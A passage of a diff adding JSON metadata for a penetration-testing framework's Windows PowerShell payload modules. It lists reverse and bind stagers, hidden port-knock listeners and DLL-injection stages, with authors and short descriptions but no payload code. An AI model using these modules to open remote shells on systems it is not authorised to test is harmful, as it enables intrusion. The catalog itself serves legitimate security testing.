Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "RageLtMan " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_udp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_udp" + }, + "payload_cmd/windows/powershell/custom/reverse_winhttp": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttp" + }, + "payload_cmd/windows/powershell/custom/reverse_winhttps": { + "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "bwatters-r7", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/custom", + "stager_refname": "windows/reverse_winhttps" + }, + "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" + }, + "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_hidden_tcp" + }, + "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp" + }, + "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_named_pipe" + }, + "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_nonx_tcp" + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp" + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_rc4" + }, + "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/dllinject/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/find_tag", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/findtag_ord" + }, + "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "scriptjunkie ", + "bannedit ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_hop_http", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_hop_http" + }, + "payload_cmd/windows/powershell/dllinject/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_http", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http" + }, + "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_http_proxy_pstore" + }, + "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ipv6_tcp" + }, + "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_nonx_tcp" + }, + "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "spoonm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_ord_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_ord_tcp" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_allports", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_allports" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_dns", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_dns" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "skape ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" + }, + "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with 